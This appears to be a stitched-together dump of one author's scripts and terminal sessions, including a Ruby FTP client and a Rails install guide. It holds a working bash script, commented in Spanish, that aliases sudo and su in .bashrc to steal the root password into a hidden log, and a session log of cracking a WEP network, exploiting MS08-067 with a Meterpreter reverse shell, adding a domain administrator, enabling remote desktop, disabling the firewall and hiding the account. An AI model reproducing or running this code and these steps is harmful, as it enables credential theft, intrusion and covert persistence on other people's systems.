b3n@genesis:~$ ruby ip-locator.rb www.google.com


-- == LocateIP 0.3 == --


[+] Getting IP ...

[+] IP : 74.125.198.105

[+] Locating ...

[+] City : Mountain View
[+] Country : United States
[+] State or Region : California

[+] Getting DNS ...

[+] DNS Found : og-in-f105.1e100.net[+] DNS Found : 74.125.198.105[+] DNS Found : 74.125.198.105

-- == (C) Doddy Hackman 2015 == --

b3n@genesis:~$ 

#!/usr/bin/env ruby
#
# Copyrigth (C) 2014-2015 - B3N
# Description: ftp client
# Version: 1.0
#

require 'net/ftp'
require 'socket'

def welcome
	puts @ftp.welcome
	s = TCPSocket.open(@host, 21)
	puts s.gets
	s.close
	puts @ftp.system
	if @ftp.passive == true
		puts "PASSIVE MODE: on"
	else
		puts "PASSIVE MODE: off"
	end
	puts @ftp.status

end

def exit
	puts "Goodbye!"
end

def debugon
	@ftp.debug_mode = true
end

def debugoff
	@ftp.debug_mode = false
end

def help
	puts "help\t clear ls status system" 
	puts "pwd cd size size_h get send"
	puts "gettext sendtext last debug[on/off]"
 	puts "mkdir rmdir delete rename passive"
end

def clear
	system "clear"
end

def ls
	dir_lst = @shell.split(/\s/)
	puts @ftp.list(dir_lst[1])
end

def status
	puts @ftp.status
end

def passive
	puts @ftp.passive
end

def pwd
	puts @ftp.pwd
end

def ftpsystem
	puts @ftp.system
end

def cd
	begin
		folder_name = @shell.split(/\s/)
		@ftp.chdir(folder_name[1])
	rescue
		puts "cannot change to \'#{folder_name[1]}\'."
	end

end

def size
	begin
		s_name = @shell.split(/\s/)
		puts @ftp.size(s_name[1])
	rescue
		puts "incorrect file \'#{s_name[1]}\'."
	end
end

def size_h
	begin
		sh_name = @shell.split(/\s/)
		result = @ftp.size(s_name[1]) / 1024
		print result.to_f
		puts " Kb"
	rescue
		puts "incorrect file \'#{sh_name[1]}\'."
	end
end

def get
	begin
		b_name = @shell.split(/\s/)
		@ftp.getbinaryfile(b_name[1], b_name[1], 1024)
	rescue
		puts "cannot get \'#{b_name[1]}\'."
	end
end

def send
	begin
		lbin_name = @shell.split(/\s/)
		@ftp.putbinaryfile(lbin_name[1], lbin_name[1], 1024)
	rescue
		puts "cannot send \'#{lbin_name[1]}\'."
	end
end

def gettext
	begin
		t_name = @shell.split(/\s/)
		@ftp.gettextfile(t_name[1])
	rescue
		puts "cannot get \'#{t_name[1]}\'."
	end
end

def sendtext
	begin
		lt_name = @shell.split(/\s/)
		@ftp.puttextfile(lt_name[1], lt_name[1])
	rescue
		puts "cannot send \'#{lt_name[1]}\'."
	end
end

def delete
	begin
		d_name = @shell.split(/\s/)
		@ftp.delete(d_name[1])
	rescue
		puts "cannot delete \'#{d_name[1]}\'."
	end
end

def mkdir
	begin
		dir_name = @shell.split(/\s/)
		@ftp.mkdir(dir_name[1])
	rescue
		puts "cannot create directory \'#{dir_name[1]}\'."
	end
end

def rmdir
	begin
		rd_name = @shell.split(/\s/)
		@ftp.rmdir(rd_name[1])
	rescue
		puts "cannot remove directory \'#{rd_name[1]}\'."
	end
end

def rename
	begin
		re_name = @shell.split(/\s/)
		@ftp.rename(re_name[1], re_name[2])
	rescue
		puts "cannot rename \'#{re_name[1]}\'."
	end
end

def last
	puts @ftp.lastresp
end

def bash
	while TRUE
		print "local@bash> "
		STDOUT.flush
		bash = STDIN.gets
		break if not bash
		bash.chop!
		if bash == "exit"
			break
		elsif bash == ""
		else
			system "#{bash};"
		end
	end
end

def lls
	Dir["*"].each do |cont|
		puts cont
	end
end

def lcp
	begin
		file = @shell.split(/\s/)
		FileUtils.cp file[1], file[2]
	rescue
		puts "cannot copy \'#{file[1]}\' to \'#{file[2]}\'."
	end
end

def default
	puts "Invalid command: #{@shell}"
end

host = ARGV[0]
@host = host
print "Host: " unless ARGV[0]
host = STDIN.gets unless ARGV[0]
host.chop! unless ARGV[0]

username = ARGV[1]
@username = username
print "User: " unless ARGV[1]
username = STDIN.gets unless ARGV[1]
username.chop! unless ARGV[1]

password = ARGV[2]
@password = password
print "Password: " unless ARGV[2]
password = STDIN.gets unless ARGV[2]
password.chop! unless ARGV[2]

#if host == 'localhost' || host == '127.0.0.1' || host =~ /192.168/
	Net::FTP.open(host) do |ftp|
	@ftp = ftp
        ftp.login(user=username.to_s, passwd=password.to_s, acct=nil)
	welcome()
	
	while TRUE
        	print "ftp> "
        	STDOUT.flush
        	shell = STDIN.gets
        	break if not shell
        	shell.chop!
		@shell = shell

		if shell == ""
		elsif shell == "exit"			 then	exit	;break
		elsif shell == "debug on"		 then	debugon
		elsif shell == "debug off"		 then 	debugoff
		elsif shell == "help"			 then 	help
		elsif shell == "clear"			 then 	clear
		elsif shell == "status"			 then	status
		elsif shell == "passive"		 then	passive
		elsif shell == "pwd"			 then	pwd
		elsif shell == "system"			 then	ftpsystem
		elsif shell == "last"			 then	last
		elsif shell == "bash"			 then	bash
		elsif shell == "lls"			 then	lls
		elsif shell.split(/\s/)[0] == "ls"	 then	ls
		elsif shell.split(/\s/)[0] == "cd"	 then	cd
		elsif shell.split(/\s/)[0] == "size"	 then	size
		elsif shell.split(/\s/)[0] == "size_h"	 then	size_h
		elsif shell.split(/\s/)[0] == "get"	 then	get
		elsif shell.split(/\s/)[0] == "send"	 then	send
		elsif shell.split(/\s/)[0] == "gettext"	 then	gettext
		elsif shell.split(/\s/)[0] == "sendtext" then	sendtext
		elsif shell.split(/\s/)[0] == "delete"	 then	delete
		elsif shell.split(/\s/)[0] == "mkdir"	 then	mkdir
		elsif shell.split(/\s/)[0] == "rmdir"	 then	rmdir
		elsif shell.split(/\s/)[0] == "rename"	 then	rename
		elsif shell.split(/\s/)[0] == "lcp"	 then	lcp
        	else						default
        	end
	end
	end
#else
#	puts "[-] Incorrect host"
#end

#!/bin/bash
#
##############################################################################
#
# Nombre: sskeylogger
# Autor: B3N
#
# Descripcion: Falsifica los comandos sudo y su haciendose pasar por
#        los mismos con el fin de obtener el password del root.
#        Una vez obtenido el password es guardado en un log
#        llamado: .plog en el home del usuario.
#
#
# Explicacion del modo de operacion:
# (1) Se crea una copia del archivo .bashrc llamada .bashrcbk.
# (2) Se crean dos alias en el .bashrc original de los commandos
#     <sudo> y <su> que llaman a nuestro programa en caso de ser
#     invocado cualquiera de los dos.
# (3) Se crearan dos scripts que simulan los comandos <sudo> y <su>
#     y capturan el password del root guardandolo en el archivo
#     .plog en el home del usuario. Estos archivos se encuentran
#     en el home del usuario con los nombres: ".sudo_su" y ".sudo_sd".
# (4) Se restaura el .bashrc original desde la copia .bashrcbk.
# (5) Se borran los archivos creados.
# (6) Se ejecuta <bash> cargando el .bashrc original para no
#     tener que reiniciar el terminal en ese momento.
#
# Modo de empleo:
# (1) Ejecutar el programa desde un terminal: <sh sskeylogger.sh> (o el nombre
#     que le quieras poner), o darle permisos de ejecucion y ejecutarlo
#     desde el navegador de archivos.
# (2) Cerrar el terminal.
# (3) Esperar a que sea ejecutado el comando <sudo> o <su>.
# (4) Leer el log generado, puede ser con el siguiente comando:
#     <cat $HOME/.plog>
#
# Nota aclaratoria: En sistemas en otros idiomas deben modificarse las salidas estandar y de error
#
##############################################################################

# Backup del .bashrc
cp $HOME/.bashrc $HOME/.bashrcbk;

# Suplantacion de <su>
echo "alias su='$HOME/.sudo_su'" >> $HOME/.bashrc;
echo "#!/bin/bash"> $HOME/.sudo_su;
echo "mv $HOME/.bashrcbk $HOME/.bashrc" >> $HOME/.sudo_su;
echo "stty -echo" >> $HOME/.sudo_su;
echo "read -p \"Password: \" IN" >> $HOME/.sudo_su;
echo "stty echo" >> $HOME/.sudo_su;
echo "echo" >> $HOME/.sudo_su;
echo "date >> $HOME/.plog" >> $HOME/.sudo_su;
echo "echo Password: \$IN >> $HOME/.plog" >> $HOME/.sudo_su;
echo "sleep 2" >> $HOME/.sudo_su;
echo "echo \"su: Authentication failure\"" >> $HOME/.sudo_su;
echo "rm \$HOME/.sudo_sd" >> $HOME/.sudo_su;
echo "rm \`basename \$0\`" >> $HOME/.sudo_su;
echo "bash --rcfile .bashrc" >> $HOME/.sudo_su;
chmod 755 $HOME/.sudo_su;

# Suplantacion de <sudo>
echo "alias sudo='$HOME/.sudo_sd'" >> $HOME/.bashrc;
echo "#!/bin/bash"> $HOME/.sudo_sd;
echo "mv $HOME/.bashrcbk $HOME/.bashrc" >> $HOME/.sudo_sd;
echo "stty -echo" >> $HOME/.sudo_sd;
echo "read -p \"[sudo] password for `id -un`: \" IN" >> $HOME/.sudo_sd;
echo "stty echo" >> $HOME/.sudo_sd;
echo "echo" >> $HOME/.sudo_sd;
echo "date >> $HOME/.plog" >> $HOME/.sudo_sd;
echo "echo Password: \$IN >> $HOME/.plog" >> $HOME/.sudo_sd;
echo "sleep 2" >> $HOME/.sudo_sd;
echo "echo \"Sorry, try again.\"" >> $HOME/.sudo_sd;
echo "rm \`basename \$0\`" >> $HOME/.sudo_sd;
echo "rm \$HOME/.sudo_su" >> $HOME/.sudo_sd;
echo "sudo -k;" >> $HOME/.sudo_sd;
echo "sudo \$*; bash --rcfile .bashrc" >> $HOME/.sudo_sd;
chmod 755 $HOME/.sudo_sd;

	$ su -c 'apt-get install git libsqlite3-dev libcurl4-openssl-dev'
	$ wget http://http.kali.org/pool/main/libv/libv8-3.14/libv8-3.14.5_3.14.5.8-8.1_i386.deb
	$ wget http://http.kali.org/pool/main/n/nodejs/nodejs_0.10.29~dfsg-2_i386.deb
	$ su -c 'dpkg -i libv8-3.14.5_3.14.5.8-8.1_i386.deb nodejs_0.10.29~dfsg-2_i386.deb'

$ git clone https://github.com/sstephenson/rbenv.git ~/.rbenv

$ echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.bashrc

$ echo 'eval "$(rbenv init -)"' >> ~/.bashrc

$ type rbenv

rbenv is a function
	...

$ git clone https://github.com/sstephenson/ruby-build.git ~/.rbenv/plugins/ruby-build

$ rbenv install -l
	...
	2.2.2
	...
	$ rbenv install 2.2.2 -k

$ rbenv global 2.2.2

$ git clone https://github.com/sstephenson/rbenv-gem-rehash.git ~/.rbenv/plugins/rbenv-gem-rehash

$ su -c 'gem install rails'

$ rails new demo
	$ cd demo
	$ rails server

# Copyright (C) 2015 B3N <[email protected]>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2 as
# published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.

# Description: String to binary converter and viceversa
# Original name: bconverter.rb
# Version: 1.0

#!/usr/bin/env ruby

def help
	puts
	puts "Usage: #{__FILE__} -s \"String to convert to binary\""
	puts "       #{__FILE__} -b \"00111011 00101001\""
end

if ARGV.empty? || ARGV.length != 2
	puts help
elsif ARGV[0] == '-s'
	ARGV[1].unpack("C*").each{|c| print "%08b " % c}
	print "\n"
elsif ARGV[0] == '-b'
	puts [ARGV[1].delete(' ')].pack("B*")
else
	puts
	puts "[-] incorrect option: #{ARGV[0]}"
	help
	puts
end

root@bt:~# airmon-ng start wlan0
root@bt:~# airodump-ng mon0

root@bt:~# airodump-ng mon0 --bssid 45:02:7F:BC:C4:87 -c 1 -w KEY

root@bt:~# aireplay-ng -3 -b 45:02:7F:BC:C4:87 -h d8:8f:33:6b:fc:39 mon0

root@bt:~# aircrack-ng KEY-01.cap

root@bt:~# iwconfig wlan0 essid "Victima" channel 1 key E56933ND4W
root@bt:~# iwconfig

root@bt:~# dhclient wlan0

root@bt:~# nmap -sP 192.168.100.0-255

root@bt:~# nmap -v -A -T4 192.168.100.1

root@bt:~# msfconsole
msf > use exploit/windows/smb/ms08_067_netapi
msf  exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
msf  exploit(ms08_067_netapi) > set LHOST 192.168.100.251
msf  exploit(ms08_067_netapi) > set RHOST 192.168.100.1
msf  exploit(ms08_067_netapi) > exploit 

meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > screenshot

meterpreter > shell
Process 3500 created.
Channel 1 created.
Microsoft Windows [Versi�n 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32> ipconfig /all
...
Adaptador PPP ETECSA:

   Sufijo conexi�n espec�fica DNS: 
   Descripci�n . . . . . . . . . : WAN (PPP/SLIP) Interface
   Direcci�n f�sica. . . . . . . : 02-45-21-12-00-00
   DHCP habilitado . . . . . . . : No
   Direcci�n IP. . . . . . . . . : xxx.xx.xxx.xxx
   M�scara de subred . . . . . . : 255.255.255.255
   Puerta de enlace predet.. . . : 0.0.0.0
   Servidores DNS. . . . . . . . : xxx.xx.xxx.x
                                   xxx.xx.xxx.x

C:\WINDOWS\system32> exit

meterpreter >

meterpreter > shell
Process 4148 created.
Channel 2 created.
Microsoft Windows [Versi�n 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>net user
net user

Cuentas de usuario de \\

-------------------------------------------------------------------------------
Administrador       SUPPORT_893434f6         
       
C:\WINDOWS\system32> net user Administrator toor /add
net user Administrator toor /add
Se ha completado el comando correctamente.

C:\WINDOWS\system32> net group
net group

Cuentas de grupo de \\

-------------------------------------------------------------------------------
*Administradores de esquema
*Administradores de organizaci�n
*Admins. del dominio
*Controladores de dominio
*DnsUpdateProxy
*Equipos del dominio
*Invitados del dominio
*Propietarios del creador de directivas de grupo
*servermail
*usermail
*Usuarios del dominio

C:\WINDOWS\system32> net group "Administradores de esquema" Administrator /add
Se ha completado el comando correctamente.

C:\WINDOWS\system32> net group "Admins. del dominio" Administrator /add
Se ha completado el comando correctamente.

C:\WINDOWS\system32> reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
C:\WINDOWS\system32> reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
C:\WINDOWS\system32> Netsh firewall set opmode disable
C:\WINDOWS\system32> exit

meterpreter >

root@bt:~# rdesktop -f 192.168.100.1

meterpreter > shell
Process 3500 created.
Channel 1 created.
Microsoft Windows [Versi�n 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\Documents and Settings> attrib +H +S Administrator
attrib +H +S Administrator

C:\Documents and Settings>

C:\WINDOWS\system32\ProxyPlus> attrib +H +S ProxyPlus
attrib +H +S ProxyPlus

C:\WINDOWS\system32\ProxyPlus>

meterpreter > run service_manager -S -n ProxyPlus

C:\WINDOWS\system32> net start ProxyPlus

meterpreter > run service_manager -K -n ProxyPlus

C:\WINDOWS\system32> net stop ProxyPlus